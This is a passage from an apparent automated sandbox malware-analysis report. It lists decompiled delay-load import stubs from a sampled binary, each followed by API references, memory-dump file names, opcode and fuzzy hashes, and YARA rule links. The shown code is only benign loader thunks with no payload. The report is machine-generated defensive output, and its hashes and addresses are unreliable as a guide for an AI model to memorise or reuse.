				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1138); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 161c7fcba49107f479a35d3280f2eff544d855d3fdbae846a5e014d826b932a1
Instruction ID: d85f6deab3577d839d4edf2920548ac8467cdc501f5513a03c0f8416e02fee8e
Opcode Fuzzy Hash: 161c7fcba49107f479a35d3280f2eff544d855d3fdbae846a5e014d826b932a1
Instruction Fuzzy Hash: F1B012F627B1126D32E462146C06D3A011CC4C1B33730C25AB80DC0044D8A40C79053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D77A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D77A() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1130); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 799c356cd9fe9c9aaf2cb335c7239baa95cbf9dd319ab7ff666f6256863878d4
Instruction ID: a83e22d89619f7339e74694ba05a7d7507d71ff53bf7dfb947e9fc2158a3ef61
Opcode Fuzzy Hash: 799c356cd9fe9c9aaf2cb335c7239baa95cbf9dd319ab7ff666f6256863878d4
Instruction Fuzzy Hash: 58B012E627B0026D31E461146C06D3A015CC8C1B73730C05AB80DC0044D8A40C39053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D748 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D748() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1144); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f6254c04afa90d1582c6d6d41ca07ff1acbc0622e4126349e638de4bf70d18ba
Instruction ID: e489eed27bb093675cf523507ae83dc607c99bb60e783ff8a8bb993335742e91
Opcode Fuzzy Hash: f6254c04afa90d1582c6d6d41ca07ff1acbc0622e4126349e638de4bf70d18ba
Instruction Fuzzy Hash: 07B012F237A0026D31A461146D07E3A011CC4C1F33330C01AB80EC0440D8A40D3A053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D752 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D752() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1140); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 91905d9f08544a97ea0b897e24bbd816aa591c7403671076fe0cdd49f0781d7a
Instruction ID: 57174930bf7d776675a17e1f1ed9bd7b225af8ccc3ece05281402cd7a0995992
Opcode Fuzzy Hash: 91905d9f08544a97ea0b897e24bbd816aa591c7403671076fe0cdd49f0781d7a
Instruction Fuzzy Hash: 60B012F627A0026D31A461156C07E3A011CC4C1F73330C01AB80DC0040D8A40C39053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D75C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D75C() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a113c); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e2c7c5adca4ae62689cb0bce433b6262ee44d24233aeb58dcb582984b625adcd
Instruction ID: 4c82a76c3c5251ed2456815da3242f5d728a8c383f2ecfd34f98995226d99de2
Opcode Fuzzy Hash: e2c7c5adca4ae62689cb0bce433b6262ee44d24233aeb58dcb582984b625adcd
Instruction Fuzzy Hash: 90B012E627B0026D31E461146C06E3A011CC4C2B73730C05BBC0DC0044D8A40C3A153B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D784 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D784() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a112c); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 179d097874784136dc9b24503025373bb8fed23e53ae73f4becc6c4e5ab3d1f7
Instruction ID: 81f97198995c4523ded5e74bde3782b7602dc2afdc8a566722e360a68f7ad942
Opcode Fuzzy Hash: 179d097874784136dc9b24503025373bb8fed23e53ae73f4becc6c4e5ab3d1f7
Instruction Fuzzy Hash: BEB012E627A0026D31A861246C06E3A415CC4C2B73330C02ABD0DC0040D8A40C3A093B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D798 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D798() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1124); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 093e8616a20e8dbd4cca1b1946b4ccf16813cd0a058607302c19156f22a04f3c
Instruction ID: ee2927c9956496420d88b2de88567d6eaae99b35504b7958e4c8116c0cd86586
Opcode Fuzzy Hash: 093e8616a20e8dbd4cca1b1946b4ccf16813cd0a058607302c19156f22a04f3c
Instruction Fuzzy Hash: 9AB012F237A0026D31A861146D06D3A419CC4C1B33730C02AB80DC0440D8A40C3A093B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7CA Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025D7CA() {
				void* _t3;
				void* _t4;
				void* _t8;
				void* _t9;
				void* _t10;

				_push(_t4);
				E0025DDAF(_t3, _t4, _t8, _t9, _t10, 0x27ada4, 0x2a1110); // executed
				goto __eax;
			}

0x0025d6f1
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a89b4a73fc0c8249d3c97b71e029d7a6fa05f0bcf8b853700da58b15586ce226
Instruction ID: 11586f600741831209e289479dc55158062b1ed91f4dde8e1b485a6abca829be
Opcode Fuzzy Hash: a89b4a73fc0c8249d3c97b71e029d7a6fa05f0bcf8b853700da58b15586ce226
Instruction Fuzzy Hash: C5B012E62BA0026D32B461146C07D3A411CC4C1B73330C41EB80DC0080D8A40C3D053B

Uniqueness

Uniqueness Score: -1.00%

Function 0025D8FB Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D8FB() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ba25c6b8ce6b96d32cc9c60264e28a04fddddcc0bc143b3db1568f3c6410a17a
Instruction ID: bbee8a23e80740febb106af69ca8484483a4ee888c4ea670c13be8faafe92f34
Opcode Fuzzy Hash: ba25c6b8ce6b96d32cc9c60264e28a04fddddcc0bc143b3db1568f3c6410a17a
Instruction Fuzzy Hash: A0A001F66BA5167C32687261AD0AE3A422DC4D1B233B4D55AB809944C1A8A428B9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D920 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D920() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9930797b355c1733d2af75bcf9e577096886fecdd3a66eff0c492f51be0c96b9
Instruction ID: cf98cc1fb784a8eefb1c9005149e7f867c1e7cefe2e1ee0f2c5176ca2b9de046
Opcode Fuzzy Hash: 9930797b355c1733d2af75bcf9e577096886fecdd3a66eff0c492f51be0c96b9
Instruction Fuzzy Hash: 66A001E66BA516BC32687261AD0AD3A422DC4D5B633B4D95AB80A844C1A8A418A9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D93E Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D93E() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 694b3ae60c95b9359891811afbfff10413ee861901a5576da19d8efbde239174
Instruction ID: cf98cc1fb784a8eefb1c9005149e7f867c1e7cefe2e1ee0f2c5176ca2b9de046
Opcode Fuzzy Hash: 694b3ae60c95b9359891811afbfff10413ee861901a5576da19d8efbde239174
Instruction Fuzzy Hash: 66A001E66BA516BC32687261AD0AD3A422DC4D5B633B4D95AB80A844C1A8A418A9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D916 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D916() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 41cdb19f058a96ff73dd8432853a7a45403bfa3c4aeb77fed7c0979fa1995eb9
Instruction ID: cf98cc1fb784a8eefb1c9005149e7f867c1e7cefe2e1ee0f2c5176ca2b9de046
Opcode Fuzzy Hash: 41cdb19f058a96ff73dd8432853a7a45403bfa3c4aeb77fed7c0979fa1995eb9
Instruction Fuzzy Hash: 66A001E66BA516BC32687261AD0AD3A422DC4D5B633B4D95AB80A844C1A8A418A9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D948 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D948() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d8414bafd8e9120304b74bca2034bfc0603eced45f49a8fe599c9bdf00d44fe
Instruction ID: cf98cc1fb784a8eefb1c9005149e7f867c1e7cefe2e1ee0f2c5176ca2b9de046
Opcode Fuzzy Hash: 4d8414bafd8e9120304b74bca2034bfc0603eced45f49a8fe599c9bdf00d44fe
Instruction Fuzzy Hash: 66A001E66BA516BC32687261AD0AD3A422DC4D5B633B4D95AB80A844C1A8A418A9153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D952 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D952() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27adc4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d903
0x0025d908
0x0025d90f

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D908

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
